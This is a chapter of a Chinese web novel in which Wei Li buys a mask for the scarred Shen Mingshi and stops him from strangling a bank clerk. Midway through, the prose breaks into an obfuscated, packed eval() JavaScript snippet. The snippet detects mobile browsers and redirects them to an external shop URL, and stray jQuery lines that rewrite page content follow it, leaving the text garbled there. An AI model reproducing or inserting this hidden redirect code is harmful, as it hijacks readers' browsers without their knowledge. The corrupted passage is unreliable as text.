10. 一两银子

作品:《人形外挂使用指南

    卫梨转身抬头,看到沈明时正懒洋洋的倚在栏杆上看自己。


    她摆摆手,示意沈明时下来。


    “发生何事了,乱糟糟的听着人心烦。”沈明时恹恹的说道。


    卫梨瞧着那乱哄哄远去的一堆人解释:“那徐娘子许是吃了什么东西两者相克中了毒。医师已经将其救走了。”


    “哦。”


    沈明时眨眼,冷漠的应了一声。


    “你不是要将那匣钱存钱庄里,我们今日将这些事全做了,明日启程去别处。”


    这里离皇城太近,不久后那通缉文书的消息估计就会传过来,得早做打算才行。


    沈明时揣着那匣钱跟卫梨出了门,此刻大街上叫卖声络绎不绝,细瞧还有外域而来异发异瞳的行商。


    由于对这小镇不熟悉,卫梨问了两个人才寻到钱庄。


    “你进去存吧,我在外间等你。”


    卫梨坐在了那堂前招呼客人的茶桌旁,桌上有点心茶水,存钱需去后方的柜阁。


    沈明时未接话,只一脸柔色双眸明亮的瞧着那钱庄伙计。


    “里边请。”那伙计被这容貌奇特的男子盯的浑身发冷,咽了口唾沫招呼着人往里间去。


    这存银票流程比取出还烦琐,需得验清银票真伪,立好凭证后开具新的存单才行。


    卫梨等的无聊,瞧那外间许多摊贩,来了兴致,招来伙计嘱咐:“我出去转转,若方才那男子好了出来寻,就说我去外面逛了,不会走太远。”


    伙计连连应承。


    喝了口茶水卫梨便兴冲冲的上街去了。


    春日柳絮在中飘摇,卫梨顺着人流左瞧右看。


    自裴照即位后她为避祸便呆在家嫌少出门了,往日她常出门逛街听书游园,那时好不惬意。


    余光轻扫,卫梨瞧见一个卖面具的摊子。


    摆摊的是一个老汉,面前立着一个红木架与桌子,摆着许多奇形怪状的面具。


    此刻他正拿着剪刀裁面具里衬的软布,瞧起来倒精致。


    时不时有人牵着孩童过来买上一副。


    卫梨忽的想到了沈明时那半张受伤的脸。


    皇城中前些年佩戴装饰物之风盛行,各地纷纷效仿,抹额、纱面、珠帘、面具等等,皆可为爱美之人所用。


    沈明时这脸,用一素色面具遮盖起来,便不会引人怀疑了罢。


    摸摸腰间买衣剩的银两,卫梨走向了那摊贩。


    瞧了一圈,这摊上陈列的面具竟什么风格的都有,既有青面獠牙的精怪、亦有颇显童趣之风的草木动物形状。


    她看中了放在一旁角落中素银色的半掩面具胚,似是漆皮制成的,两方以一同色绸带穿过方便固定,上方还未曾来得及画上图案。


    “请问这个怎么卖。”


    卫梨指了指这漆皮银面具问道。


    那老汉抬头,笑着解释:“姑娘,这张面具还未做好,你要不再瞧瞧别的。”


    “就要这件没做好的。”


    若是过于花哨他怕是不愿戴。


    “请问多少银两。”


    自己从沈明时那扣的银子不多,若价格稍贵,她怕是买不起。


    “本来这成品一个卖二两银子的,这张既没做完,收姑娘你半价可好。”老汉在心中计算了一下回道。


    一两银子,还好。


    晌午买衣花了八两银子,她这还剩二两,买的起。


    卫梨交银子买下了那幅面具。


    拿在手中十分轻盈,内嵌白色衬布,卫梨在自己脸上戴的比划了一下,倒也算得上舒服。


    沈明时出来不见卫梨人影,原本佯装温柔的神色瞬时冷了下来。


    “她去哪了。”


    那伙计本在弯腰给别的客人倒茶水,忽的一道银丝缠住了他的腰喉,扯着他重重向后仰倒在了地上。


    这一幕来的猝不及防,身旁的客人呆愣住,反应过来后都一动不敢动。


    伙计用力扯着喉间银线,不能撼动分毫。


    “她去哪了。”沈明时居高临下的瞧着那伙计,周身透出丝丝杀意,再次重复。


    伙计指着自己的嗓子,示意自己无法说话。沈明时松了松手。


    “客观,您说的是和您一起来的那位姑娘。”


    “她说她出去走走,并不会离开太远。”喉间被箍住的力量变小。伙计呛着嗓子回答。


    卫梨刚站到钱庄门口就见到沈明时挥着手中银线,像是要大开杀戒的样子。


    “你干嘛呢。”


    卫梨神色惊慌的看着眼前的情景。


    见她回来,沈明时装作无事般的抽回手。


    “刚瞧见他似乎要跌倒了,伸手扶了一把。”


    伙计踉跄着从地上站了起来。


    “你说是吧。”


    沈明时直勾勾的瞧着那伙计。


    “对对对,多谢这位公子。”他佯装慌忙,拍拍身上的灰尘回道,脖颈间一道细细的红痕十分醒目。


    卫梨:“……”


    好好笑哦。


    自认识沈明时以来他那银线都是用来杀人的,她胡诌了两句说他是助人为乐的侠义之士,沈明时不会自己自己也信了吧。


    幸好她回来及时,若沈明时在这大庭广众下又乱随手杀无辜之人,怕是也要连累自己被抓进衙门。


    本来变成通缉犯就已经很命苦了。


    卫梨欲哭无泪。


    “既存完了便走吧。”她道。


    沈明时点头,神色自若的踏出了门槛。


    卫梨咬牙,将剩的那一两银子作为补偿给了伙计。


    那伙计本神色凄楚,见到银子两眼放光,欢天喜地的接过。


    “刚才那位公子乃无心之举,千万不要报官。”


    “这一两银子你拿去寻医师看看伤。”


    伙计连连称是。


    卫梨嘱咐完便扭头快步走了——她的心在滴血,那可是自己仅剩的银钱了。


    跟上正慢悠悠走出钱庄的沈明时,卫梨摸了摸腰间别着的那副面具,心中直呼能否将其退回去寻回那另一两银子。


    当然是不可能的,卫梨安慰自己,买都买了,岂有又退回去的道理。


    “今日便罢了。”


    “下次别动不动就打打杀杀了,招来衙门的人该当如何。”


    赶上去走到沈明时身侧,卫梨语重心长道,颇有规劝之意。


    她从幼时起学的便是仁义礼教,杀人亦要偿命,从前在皇城中有冤案查明,凶手都是要以命相抵的,哪像这些江湖人这般,动不动就不计后果的杀人,虽说这是他们自保的手段,但这些平头百姓手无缚鸡之力,若有冲突也应先言语调和才是。


    沈明时闷头前行。


    离得近了卫梨抬头只能看到沈明时的下巴,瞧不清他脸上神色。


    没事长这么高做甚,走的步子也比她大,一声不吭,没礼貌!


    卫梨心中腹诽。


    “我没想杀他。”沈明时突然开口。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956430|193140||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    稀奇,这人居然向她解释。


    “哦。”卫梨漫不经心道,学他那般说话。


    走至一街角,沈明时停下脚步朝着她:“你说在外间等却走开了,想必并非信守承诺之人。”


    “之前说好偿还的金子亦是骗我的。”


    一语道破天机。


    卫梨摸了摸鼻尖站着道:“怎么会。别瞎想。”


    “我坐着无聊去给你买了个物什。”


    “遮住那半边脸便无人用异样的眼光瞧你了。”卫梨从腰侧拿出那素银面具。


    接过那东西看了看,沈明时伏下腰,离她面部越来越近。


    卫梨弓着腰向后躲着大喊:“你干嘛。”


    “我这副鬼样子瞧着很恶心吗。”沈明时语调轻缓。


    又来了。


    卫梨夺过沈明时手中的面具一把拍在他脸上:“大哥你没事吧。”


    “是因为你这疤太特殊,人家瞧一眼那通缉文书便认出来了。就算胡粉能遮盖,那东西贴在脸上也不甚方便,我寻个面具给你既能遮疤别人也瞧不出你是谁。”


    他怎的老想些有的没的,卫梨白了他一眼。


    沈明时顺势挑起那面具上的绸带,绕到脑袋后面打了个结。


    这半遮的面具恰好遮住了那半张残缺的脸,衬得沈明时另外半张脸如白玉无瑕,更俊美了几分。


    沈明时摸摸左侧的面具,敛眸直起了身。


    卫梨仰起头左瞧右瞧他,连连称奇:“未曾想你竟生的还怪好看的,怎的之前不把疤痕遮起来。”


    沈明时却未回答她这个问题,转而道:“你偷我银子了,哪来的银钱。”


    卫梨有些羞恼,脸颊泛起淡淡红,她却是不问自取,但这怎的能叫偷呢,她嘴硬反驳:“是买衣裳剩的二两银子,想着留下以备不时之需。这不,都花你身上了,刚才剩的一两银子还给那伙计当药费了。这下是真没了。”


    “我好心给你买遮面之物,你竟这样想我。”


    听到卫梨这番话,沈明时面露嫌弃之色:“这面具只值一两银子?”


    “你还想要多贵的,给你用金打一个。”卫梨黑脸反问,这人平日里来钱太快不把银子当回事是吧。


    “那倒不必。”


    见他二人贴的如此近,有路过的行人频频回头观望。


    有伤风化,有伤风化。


    卫梨催促着沈明时向客栈走去。


    暮色降至,金色的日光洒在身后,将影子拉长许多。两人吵嚷后计划了一番,打算隔日继续东行,先远离皇城再说。


    未曾想到了第二日,沈明时说还得在这逗留一阵子,他在等信。


    不知道什么信。


    卫梨只有听从的份,危机四伏的话本世界中,呆在沈明时身旁倒还安全些。


    在客栈呆了两日,那信还不来,卫梨实在是无聊的慌,拉着沈明时这个出钱的祖宗出门了。


    “去哪。”沈明时慢吞吞的跟在卫梨身后,高撒的日光也被遮住了几分。


    镇上还是如往常般络绎不绝,卫梨也不知要去哪,漫无目的的晃悠。


    忽悠沈明时掏银子买了一袋栗子糕,卫梨正掏出一个往嘴里塞,余光撇到了一个眼熟的人影。


    是那日客栈中晕倒的徐娘子,此时她正站在屋檐下和一男子说着什么,似乎是起了争执。


    与此同时,卫梨耳中响起了久违的声音。


    「系统升级完成」


    「睡眠模式已关闭」